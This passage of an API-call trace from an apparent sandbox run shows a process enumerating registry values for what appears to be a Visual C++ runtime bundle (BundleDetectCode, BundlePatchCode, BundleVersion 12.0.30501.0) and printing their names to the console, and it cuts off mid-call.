0x204bb0 [0149.587] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.587] _errno () returned 0x204bb0 [0149.587] GetFileType (hFile=0x50) returned 0x1 [0149.587] lstrlenW (lpString="BundleAddonCode") returned 15 [0149.588] GetConsoleOutputCP () returned 0x1b5 [0149.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.588] GetConsoleOutputCP () returned 0x1b5 [0149.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleAddonCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleAddonCode", lpUsedDefaultChar=0x0) returned 15 [0149.588] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.588] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.588] __iob_func () returned 0x7fefd702a80 [0149.588] _fileno (_File=0x7fefd702ab0) returned 1 [0149.588] _errno () returned 0x204bb0 [0149.588] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.588] _errno () returned 0x204bb0 [0149.588] GetFileType (hFile=0x50) returned 0x1 [0149.588] lstrlenW (lpString=" ") returned 4 [0149.588] GetConsoleOutputCP () returned 0x1b5 [0149.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.588] GetConsoleOutputCP () returned 0x1b5 [0149.588] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.588] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.588] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.588] __iob_func () returned 0x7fefd702a80 [0149.589] _fileno (_File=0x7fefd702ab0) returned 1 [0149.589] _errno () returned 0x204bb0 [0149.589] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.589] _errno () returned 0x204bb0 [0149.589] GetFileType (hFile=0x50) returned 0x1 [0149.589] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0149.589] GetConsoleOutputCP () returned 0x1b5 [0149.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.589] GetConsoleOutputCP () returned 0x1b5 [0149.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0149.589] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.589] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.589] __iob_func () returned 0x7fefd702a80 [0149.589] _fileno (_File=0x7fefd702ab0) returned 1 [0149.589] _errno () returned 0x204bb0 [0149.589] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.589] _errno () returned 0x204bb0 [0149.589] GetFileType (hFile=0x50) returned 0x1 [0149.589] lstrlenW (lpString=" ") returned 4 [0149.589] GetConsoleOutputCP () returned 0x1b5 [0149.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.589] GetConsoleOutputCP () returned 0x1b5 [0149.589] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.590] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.590] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.590] __iob_func () returned 0x7fefd702a80 [0149.590] _fileno (_File=0x7fefd702ab0) returned 1 [0149.590] _errno () returned 0x204bb0 [0149.590] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.590] _errno () returned 0x204bb0 [0149.590] GetFileType (hFile=0x50) returned 0x1 [0149.590] lstrlenW (lpString="\n") returned 1 [0149.590] GetConsoleOutputCP () returned 0x1b5 [0149.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.590] GetConsoleOutputCP () returned 0x1b5 [0149.590] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.590] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.590] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.590] GetProcessHeap () returned 0x3c0000 [0149.590] GetProcessHeap () returned 0x3c0000 [0149.590] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.590] GetProcessHeap () returned 0x3c0000 [0149.590] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.590] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.590] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleDetectCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.590] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.590] GetProcessHeap () returned 0x3c0000 [0149.590] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.590] GetProcessHeap () returned 0x3c0000 [0149.590] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.591] GetProcessHeap () returned 0x3c0000 [0149.591] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.591] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleDetectCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0149.591] __iob_func () returned 0x7fefd702a80 [0149.591] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.591] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.591] _fileno (_File=0x7fefd702ab0) returned 1 [0149.591] _errno () returned 0x204bb0 [0149.591] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.591] _errno () returned 0x204bb0 [0149.591] GetFileType (hFile=0x50) returned 0x1 [0149.591] lstrlenW (lpString=" ") returned 4 [0149.591] GetConsoleOutputCP () returned 0x1b5 [0149.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.591] GetConsoleOutputCP () returned 0x1b5 [0149.591] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.591] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.591] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.591] lstrlenW (lpString="BundleDetectCode") returned 16 [0149.591] __iob_func () returned 0x7fefd702a80 [0149.591] _fileno (_File=0x7fefd702ab0) returned 1 [0149.591] _errno () returned 0x204bb0 [0149.591] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.591] _errno () returned 0x204bb0 [0149.591] GetFileType (hFile=0x50) returned 0x1 [0149.591] lstrlenW (lpString="BundleDetectCode") returned 16 [0149.591] GetConsoleOutputCP () returned 0x1b5 [0149.592] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.592] GetConsoleOutputCP () returned 0x1b5 [0149.592] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleDetectCode", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleDetectCode", lpUsedDefaultChar=0x0) returned 16 [0149.592] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0149.592] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.592] __iob_func () returned 0x7fefd702a80 [0149.592] _fileno (_File=0x7fefd702ab0) returned 1 [0149.592] _errno () returned 0x204bb0 [0149.592] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.592] _errno () returned 0x204bb0 [0149.592] GetFileType (hFile=0x50) returned 0x1 [0149.592] lstrlenW (lpString=" ") returned 4 [0149.592] GetConsoleOutputCP () returned 0x1b5 [0149.592] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.592] GetConsoleOutputCP () returned 0x1b5 [0149.592] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.592] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.592] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.592] __iob_func () returned 0x7fefd702a80 [0149.592] _fileno (_File=0x7fefd702ab0) returned 1 [0149.592] _errno () returned 0x204bb0 [0149.592] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.592] _errno () returned 0x204bb0 [0149.592] GetFileType (hFile=0x50) returned 0x1 [0149.593] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0149.593] GetConsoleOutputCP () returned 0x1b5 [0149.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.593] GetConsoleOutputCP () returned 0x1b5 [0149.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0149.593] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.593] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.593] __iob_func () returned 0x7fefd702a80 [0149.593] _fileno (_File=0x7fefd702ab0) returned 1 [0149.593] _errno () returned 0x204bb0 [0149.593] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.593] _errno () returned 0x204bb0 [0149.593] GetFileType (hFile=0x50) returned 0x1 [0149.593] lstrlenW (lpString=" ") returned 4 [0149.593] GetConsoleOutputCP () returned 0x1b5 [0149.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.593] GetConsoleOutputCP () returned 0x1b5 [0149.593] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.593] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.593] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.593] __iob_func () returned 0x7fefd702a80 [0149.594] _fileno (_File=0x7fefd702ab0) returned 1 [0149.594] _errno () returned 0x204bb0 [0149.594] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.594] _errno () returned 0x204bb0 [0149.594] GetFileType (hFile=0x50) returned 0x1 [0149.594] lstrlenW (lpString="\n") returned 1 [0149.594] GetConsoleOutputCP () returned 0x1b5 [0149.594] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.594] GetConsoleOutputCP () returned 0x1b5 [0149.594] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.594] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.594] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.594] GetProcessHeap () returned 0x3c0000 [0149.594] GetProcessHeap () returned 0x3c0000 [0149.594] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.594] GetProcessHeap () returned 0x3c0000 [0149.594] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.594] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.594] RegEnumValueW (in: hKey=0x5c, dwIndex=0x4, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundlePatchCode", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.594] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.594] GetProcessHeap () returned 0x3c0000 [0149.594] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.594] GetProcessHeap () returned 0x3c0000 [0149.594] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.594] GetProcessHeap () returned 0x3c0000 [0149.594] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.594] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundlePatchCode", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x7, pvData=0x3dee90*, pcbData=0x29f780*=0x4) returned 0x0 [0149.594] __iob_func () returned 0x7fefd702a80 [0149.594] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.595] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.595] _fileno (_File=0x7fefd702ab0) returned 1 [0149.595] _errno () returned 0x204bb0 [0149.595] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.595] _errno () returned 0x204bb0 [0149.595] GetFileType (hFile=0x50) returned 0x1 [0149.595] lstrlenW (lpString=" ") returned 4 [0149.595] GetConsoleOutputCP () returned 0x1b5 [0149.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.595] GetConsoleOutputCP () returned 0x1b5 [0149.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.595] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.595] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.595] lstrlenW (lpString="BundlePatchCode") returned 15 [0149.595] __iob_func () returned 0x7fefd702a80 [0149.595] _fileno (_File=0x7fefd702ab0) returned 1 [0149.595] _errno () returned 0x204bb0 [0149.595] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.595] _errno () returned 0x204bb0 [0149.595] GetFileType (hFile=0x50) returned 0x1 [0149.595] lstrlenW (lpString="BundlePatchCode") returned 15 [0149.595] GetConsoleOutputCP () returned 0x1b5 [0149.595] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.595] GetConsoleOutputCP () returned 0x1b5 [0149.596] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundlePatchCode", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundlePatchCode", lpUsedDefaultChar=0x0) returned 15 [0149.596] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.596] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.596] __iob_func () returned 0x7fefd702a80 [0149.596] _fileno (_File=0x7fefd702ab0) returned 1 [0149.596] _errno () returned 0x204bb0 [0149.596] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.596] _errno () returned 0x204bb0 [0149.596] GetFileType (hFile=0x50) returned 0x1 [0149.596] lstrlenW (lpString=" ") returned 4 [0149.596] GetConsoleOutputCP () returned 0x1b5 [0149.596] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.596] GetConsoleOutputCP () returned 0x1b5 [0149.596] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.596] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.596] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.596] __iob_func () returned 0x7fefd702a80 [0149.596] _fileno (_File=0x7fefd702ab0) returned 1 [0149.596] _errno () returned 0x204bb0 [0149.596] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.596] _errno () returned 0x204bb0 [0149.596] GetFileType (hFile=0x50) returned 0x1 [0149.597] lstrlenW (lpString="REG_MULTI_SZ") returned 12 [0149.597] GetConsoleOutputCP () returned 0x1b5 [0149.597] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0149.597] GetConsoleOutputCP () returned 0x1b5 [0149.597] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_MULTI_SZ", cchWideChar=12, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_MULTI_SZ", lpUsedDefaultChar=0x0) returned 12 [0149.597] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 12 [0149.597] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.597] __iob_func () returned 0x7fefd702a80 [0149.597] _fileno (_File=0x7fefd702ab0) returned 1 [0149.597] _errno () returned 0x204bb0 [0149.597] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.597] _errno () returned 0x204bb0 [0149.597] GetFileType (hFile=0x50) returned 0x1 [0149.597] lstrlenW (lpString=" ") returned 4 [0149.597] GetConsoleOutputCP () returned 0x1b5 [0149.597] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.597] GetConsoleOutputCP () returned 0x1b5 [0149.597] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.597] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.597] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.598] __iob_func () returned 0x7fefd702a80 [0149.598] _fileno (_File=0x7fefd702ab0) returned 1 [0149.598] _errno () returned 0x204bb0 [0149.598] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.598] _errno () returned 0x204bb0 [0149.598] GetFileType (hFile=0x50) returned 0x1 [0149.598] lstrlenW (lpString="\n") returned 1 [0149.598] GetConsoleOutputCP () returned 0x1b5 [0149.598] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.598] GetConsoleOutputCP () returned 0x1b5 [0149.598] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.598] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.598] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.598] GetProcessHeap () returned 0x3c0000 [0149.598] GetProcessHeap () returned 0x3c0000 [0149.598] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.598] GetProcessHeap () returned 0x3c0000 [0149.598] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.598] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.598] RegEnumValueW (in: hKey=0x5c, dwIndex=0x5, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.598] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x1c) returned 0x0 [0149.598] GetProcessHeap () returned 0x3c0000 [0149.598] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1e) returned 0x3d5c30 [0149.598] GetProcessHeap () returned 0x3c0000 [0149.598] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0149.598] GetProcessHeap () returned 0x3c0000 [0149.598] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1e [0149.598] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x1c | out: pdwType=0x29f700*=0x1, pvData="12.0.30501.0", pcbData=0x29f780*=0x1a) returned 0x0 [0149.599] __iob_func () returned 0x7fefd702a80 [0149.599] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.599] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.599] _fileno (_File=0x7fefd702ab0) returned 1 [0149.599] _errno () returned 0x204bb0 [0149.599] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.599] _errno () returned 0x204bb0 [0149.599] GetFileType (hFile=0x50) returned 0x1 [0149.599] lstrlenW (lpString=" ") returned 4 [0149.599] GetConsoleOutputCP () returned 0x1b5 [0149.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.599] GetConsoleOutputCP () returned 0x1b5 [0149.599] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.599] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.599] fflush (in: _File=0x7fefd702ab0 | out: 